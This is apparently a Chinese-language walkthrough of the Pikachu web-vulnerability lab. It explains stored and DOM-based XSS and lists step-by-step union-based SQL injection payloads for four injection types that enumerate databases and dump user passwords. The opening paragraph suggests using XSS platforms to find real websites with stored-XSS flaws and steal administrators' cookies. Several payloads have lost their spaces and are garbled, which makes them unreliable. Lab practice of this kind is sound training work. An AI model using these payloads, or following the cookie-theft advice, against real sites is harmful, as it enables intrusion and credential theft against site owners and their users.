存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据 所以会弹框 可以搭配一些 xss在线平台 找一些有存储型xss漏洞的网站钓管理员 cookies
DOM型xss
提交 payload 后出现一个 what do you see? 点击后 403
f12 可以看到我们提交的数据变成了超链接
看下 js 代码
1 2 3 4 5 6
<script> functiondomxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } </script>
查字段:1orderby2 查字段:1orderby3 #报错,所以只有两个字段 查当前库名:-1unionselect1,database() 查所有库名:-1unionselect1,group_concat(schema_name) from information_schema.schemata 查表名:-1unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database() 查字段:-1unionselect1,group_concat(column_name) from information_schema.columns where table_name='users' 查值:-1unionselect1,group_concat(password) from pikachu.users
字符型注入
1 2 3 4 5 6
查字段:1' order by 2 # 查当前库名:-1'unionselect1,database() # 查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata # 查表名:-1'unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查值:-1'unionselect1,group_concat(password) from pikachu.users #
搜索型注入
1 2 3 4 5 6
查字段:a%' order by 3 # 查当前库名:a%'unionselect1,2,database() # 查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata # 查表名:a%'unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' # 查值:a%'unionselect1,2,group_concat(password) from pikachu.users #
xx型注入
1 2 3 4 5 6
查字段:1') order by 2 # 查当前库名:1') unionselect1,database() # 查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata # 查表名:1') unionselect1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查值:1') unionselect1,group_concat(password) from pikachu.users #